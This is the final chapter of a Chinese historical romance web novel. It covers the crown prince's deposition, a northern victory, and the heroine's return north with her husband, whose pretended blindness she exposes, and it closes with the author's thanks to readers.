几日后,嘉裕帝每日清醒的时间恢复到了三个时辰,便召褚景泽长谈了一个时辰之久,最后下令废太子,遣废太子去守皇陵,永世不得出。 太子妃狄兰则因护驾有功,和离归家,并未受牵连。 之后罪己诏出,同时罢黜、斩首了一批官员,令朝堂上下肃然一清。 与此同时北疆传来大捷,定北王并未辜负帝王与百姓们的信任,将侵掠北疆的十六个北夷部族尽数驱逐出境,并斩阿尔纳部大王首级于拥雪关。 顾春温来信报平安,他在落鹰岭被流矢射中受了些伤,但幸而定北王及时驰援,逆转了战局,有惊无险。 他接了嘉裕帝召令,回京述职。 而封眠在陪了嘉裕帝半个月后,朝臣又故态复萌,蠢蠢欲动地上书说定北王世子与疾羽营不宜在京中久留。年关将过,为了还嘉裕帝一个平静,封眠便准备与百里浔舟打道回北疆。 临行前夜,封眠正与百里浔舟头并头地凑在院中看自己从前在树上刻下的身高线,便听墙头一声“啊啊啊月黑风高的你们在干什么!” 封眠自树后探出头,便见一个人影丁零当啷地从墙头翻落,身上钗环首饰掉了满地。 “褚景涟?你又爬我墙头做什么?” 褚景涟捂着眼睛蹲在地上,“什么叫‘又’”?本公主第一次爬你墙头!” 她说着从指缝中偷看一眼,叫封眠和百里浔舟没再贴在一起,才放下手起身,将头上的钗环脖上的项圈璎珞和胳膊手腕上的臂钏手环一一拆下来丢给封眠。 “明日你又要回北疆那个苦寒之地了,本公主可怜你,给你送些盘缠傍身,不必太过谢我!”她扬着下巴,不可一世道。 罗家倒后,她母妃也受了牵连被关入冷宫,但嘉裕帝待她一如既往,是以她也并未觉得日子有多难过。宫变的波澜过后,她的脾性还是丁点没变。 褚景涟说罢又顺势将百里浔舟上上下下打量了好几番,咬了咬牙,“别以为你夫君不是传闻中那钟馗模样,你就能过得比我好了。父皇也在给我相看亲事了,我定能嫁一个比他好千倍百倍的男人!” “嗯嗯,祝福你。”封眠冲她弯眸一笑,“也多谢你送的盘缠,我在北疆正需用钱呢。” 褚景涟听了,狐疑地打量了百里浔舟一眼,“哼,你长些心眼吧,别老拿自己的银子贴补夫家。不给自己留些银钱傍身,等你年老色衰,有的苦头吃!” 她哼哼两声,扭头便打算走了。 “等等。” 听封眠一喊,她毫不迟疑地停了脚步,转过身眼巴巴瞧着封眠。 “这个送你。”封眠自袖中拿出一串彩石手链,“这是我自己磨的链子,石头是北疆的山石,能护佑平安的。你挑夫婿也擦亮眼,别被人欺负了。” “我回了北疆,会写信给你的。” 褚景涟恶狠狠地将彩石手链拽到手中,“行吧,你非要送,我就收下了。至于信吗……你愿意写就写,别期待我给你回信。” 说罢,她转身拔腿就跑,好像身后有恶狼追似的。 百里浔舟神色一言难尽,“她到底是讨厌你,还是喜欢你?” 封眠耸耸肩,“她喜欢争风吃醋,口是心非。” 翌日天亮,一如当初出嫁时那般,封眠的马车和嘉裕帝给她塞的一些零零碎碎,再次迤逦离宫。 只是这次多了在旁护轿的百里浔舟。 盛京的百姓终于见到了传说中的定北王世子,啧啧惊叹。 “谁说这世子殿下不好的?我瞧着与咱们郡主简直是一对璧人呐!” “什么貌若钟馗,我看夸一句潘安也不过分!这谣言,真是害人!” “还得是咱们陛下慧眼识人,给郡主添了个这么俊俏的夫婿!” “何止俊俏,人更是威风得紧,闯宫城那日,那身条招式,真是跟戏词里唱得一模一样!” 茶楼上几名书生闲话,“看来这定北王的爵位稳得很。世子殿下这般勇武,而郡主殿下更是了不得,你们可听说了她在北疆发现的那些作物?若传播开来,百姓再无饥荒冻馁之患!” “听说倒是听说了,只是当真有那般厉害吗?” “过几日顾大人就要回京了,到时请他出来一问,不就知道了!” 回京的顾春温与离京的封眠恰走了两条错开的官道,未能碰上一面。顾春温入京前,给成立虚寄去一封信,说自己做了一个梦,梦中,他似乎叩宫门请婚成功了…… 彼时成立虚留在北疆培育优种,在田垄上读到此处,险些一屁股摔进正在堆的肥料之中,急急去了数封信,劝他放下如此大逆不道的想法。 顾春温本只是随口感叹,见友人如临大敌的模样,忍不住大笑,胸中稍许郁结散去。只觉有些事迟一点,早一点,一个念头的转变,都会造就全然不同的人生。 缘分未至,就此休矣。 战事既休,封眠与百里浔舟路上便也不急了,一路玩一路走。百里浔舟笑言,如今总算是弥补了他当初没能迎亲的遗憾。 “可是你的眼睛怎么还不好?” 马车上,封眠凑过去,隔着绸带摸了摸百里浔舟的眼睛,担忧得直蹙眉。 “唔,也许我这人就是淤血散得慢呢?” 封眠不放心地去问柳寄雪,柳寄雪看着因眼睛不便而做什么都要黏着封眠的百里浔舟,以一声冷哼作答。 当晚,封眠扶着百里浔舟先上了马车,然后惊呼一声“哎呀我的簪子!” 她噗通一声跳下马车,片刻后发出尖叫:“啊啊有蛇!” “眠眠!”百里浔舟一阵风似的从马车里卷了出来,精准地奔到封眠身前将她护住,四下张望着,“蛇在哪儿?” 脑后一松,绸带的系结被解开,封眠的脸贴到面前,一双眼牢牢盯住他乱转的眼珠,“所以,你的眼睛早就好了!” 百里浔舟心虚地不敢与她对视,此时方才注意到,封眠都惨叫求助了,侍卫们却没第一时间围上来,这是一个针对他的局! 他隔空瞪了一眼明显知情的山衣,山衣憋屈地走开。 颊上一痛,封眠恶狠狠捏住他,“你少威胁旁人,是我下令不许他们透露的。你害我担心这么久,如何赔罪?” “……我给你做牛做马?” “便是没骗我,你也要这般做的。” “……”百里浔舟无法反驳,虚心请求赐教,“那我应如何赔罪?” “……”封眠也有些想不出,百里浔舟称得上是对她百依百顺,总不能体罚他吧? “你立字据,欠我……”她略一思忖,道,“欠我十件事!等我想到了再吩咐你。” “一般不是都说三件事吗?” “我就要你做十件,你做不做?” “做做做,一百件我都做!”百里浔舟生怕她反悔,提笔就写,还按上了自己的手印。 见他如此爽快轻易,封眠又觉得自己亏了,她还要绞尽脑汁去想让他做什么事……啧。 …… 待二人回到北疆时,休了个长假的百里浔舟被老父亲和姚知远联手架到了军营上职,而封眠则一一回复案牍上留下的许多封信, 陆鸣竹去西北赴任县令,留信一封信,带走了部分良种,打算将新的作物带去更多的地方。 褚景泽如愿以偿跟着弥荼去苍狼部做客,给她寄了许多特产,一日能给她寄三封信。 折夫人去北疆附近周游,想要开拓新的生意,不时给她寄信,问她要不要投钱。 封辞偃在盛京便与他们分道扬镳,说在一个地方待够了,要去别处看看,三不五时从某地寄来一些小玩意,让封眠知道他的动向。 封眠忙活了足有三日才将信回完,正要松松筋骨,忽然看见桌上还剩一张小纸条。 眠眠亲启: 吾父实不做人,狠心令吾与亲亲吾妻三日未见。今怒而旷工,月上柳梢头,人约水榭前。 末尾署名是仿着往日她的画,画了个可怜巴巴的小人。 封眠失笑,将纸条反复看了两遍,嘀咕着“云中郡的湖中水榭那么多处,我怎么知道你说的是哪一处?” 盈盈若流水的月光下,封眠将此话原样问了出来。 百里浔舟扬眉,“湖中水榭千千万,你我只来过这一处!你难道会忘吗?” “现下自然没忘,至于再过几年可就不……”封眠故意拖长了语调,便被百里浔舟惩戒似的咬了下唇,吞掉了后面的话。 “往后每年都来此一趟,你不许忘。”百里浔舟颇为霸道。 这可是他们定情之处,便是以后须发皆白,齿牙动摇,也是要来此纪念的。 天边炸开焰火,耀如流金。往后年年岁岁,花相似,人相同—— 作者有话说:完结啦! 后面会更新番外,如果有想看的可以点菜看看,没有我就自己写啦[亲亲] 感谢看到这里的每一位小天使!连载期如果没有你们点击、评论、灌溉、投雷的话,我未必能坚持这么久[抱抱] 真的非常感谢有你们陪伴这一程! 接近收尾的时候没敢再看评论区,有些沉默寡言了TAT 有时候想在作者有话说写点什么,写完正文就急着发布,反而忘记了。幻想完结已经幻想了很久,真的写到完结这一章也是有些忐忑,也有点舍不得,第一次写完这么长的长篇,希望正文停留在这里是正确的,希望每个角色都能幸福。 也希望看到这里的每一个人都能平安健康,快乐顺遂[红心][红心][红心]【`xs.c`o`m 网】